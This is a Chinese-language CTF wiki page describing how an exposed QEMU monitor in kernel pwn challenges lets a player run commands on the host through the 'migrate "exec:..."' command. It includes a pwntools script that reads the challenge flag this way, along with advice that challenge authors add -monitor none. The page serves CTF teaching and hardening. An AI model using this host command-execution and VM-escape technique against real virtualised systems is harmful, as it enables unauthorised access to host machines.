Skip to content

利用 QEMU Monitor 读取 flag

Warning

The current page still doesn't have a translation for this language.

You can read it through Google Translate.

Besides, you can also help to translate it: Contributing.

QEMU monitor 是 QEMU 内置的一个交互式控制台窗口,主要用于监控和管理虚拟机的状态。由于 Linux kernel pwn 题目通常使用 QEMU 创建虚拟机环境,因此若是未禁止选手对 QEMU monitor 的访问,则选手可以直接获得整个虚拟机的访问权限。同时,由于 QEMU monitor 支持在 host 侧执行命令,因此也可以直接读取题目环境中的 flag,这同时意味着我们还能可以利用 QEMU monitor 完成虚拟化逃逸。

对于出题人而言,应当时刻保证 QEMU 的参数包含一行 -monitor none 或是 -monitor /dev/null 以确保选手无法访问 QEMU monitor。

通常情况下,进入 QEMU monitor 的方法如下:

  • 首先同时按下 CTRL + A
  • 接下来按 C

使用 pwntools 脚本时,可以通过发送 "\x01c" 完成,例如:

p = remote("localhost", 11451)
p.send(b"\x01c")

在 QEMU monitor 当中有一条比较好用的指令叫做 migrate,其支持我们执行特定的 URI:

(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
                         -r to resume a paused postcopy migration

其中,URI 可以是 'exec:<command>'tcp:<ip:port> ,前者支持我们直接在宿主机上执行命令,例如下面的命令在宿主机上执行了 ls 命令:

migrate "exec: sh -c ls"

有的时候可能会由于一些特殊原因遇到没有输出的情况,这个时候可以尝试将 stdout 重定向至 stderr,例如:

(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) 

例题: 西湖论剑2021线上初赛 - easykernel

题目附件可在 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/XHLJ2021-easykernel 下载。

分析 && 利用

首先查看启动脚本,可以发现没有禁止 QEMU monitor:

#!/bin/sh

qemu-system-x86_64  \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"

因此我们可以直接通过 QEMU monitor 读取宿主机上的 flag,这里 flag 存放在 rootfs.img.gz 中,因此我们使用 strings|grep 进行过滤:

from pwn import *

def recvuntil_filter(p, target):
    target_len = len(target)
    s = b''
    ignore_next = False
    while True:
        ch = p.recv(1)
        if ignore_next:
            ignore_next = False
            continue

        if ch == b'\x1b':
            ch = p.recv(2)
            if ch == b'[D':
                ignore_next = True
            elif ch == b'[K':
                s = b''
            else:
                print("Unhandled escape sequences : {}".format(ch))
            continue

        if ch[0] < 0x20 or ch[0] > 0x7E:
            continue

        s += ch
        if s[-target_len:] == target:
            return s

def main():
    p = process('./start.sh')
    p.recvuntil(b"/ $")
    p.send(b"\x01c")
    p.recvuntil(b"monitor - type 'help' for more information")
    p.sendline(b'migrate "exec: gunzip -c ./rootfs.img.gz | strings | grep -i flag{ 1>&2"')

    recvuntil_filter(p, b'grep -i flag{')
    flag = recvuntil_filter(p, b'flag{')[-5:]
    flag += recvuntil_filter(p, b'}')
    print(flag.decode())

if __name__ == '__main__':
    main()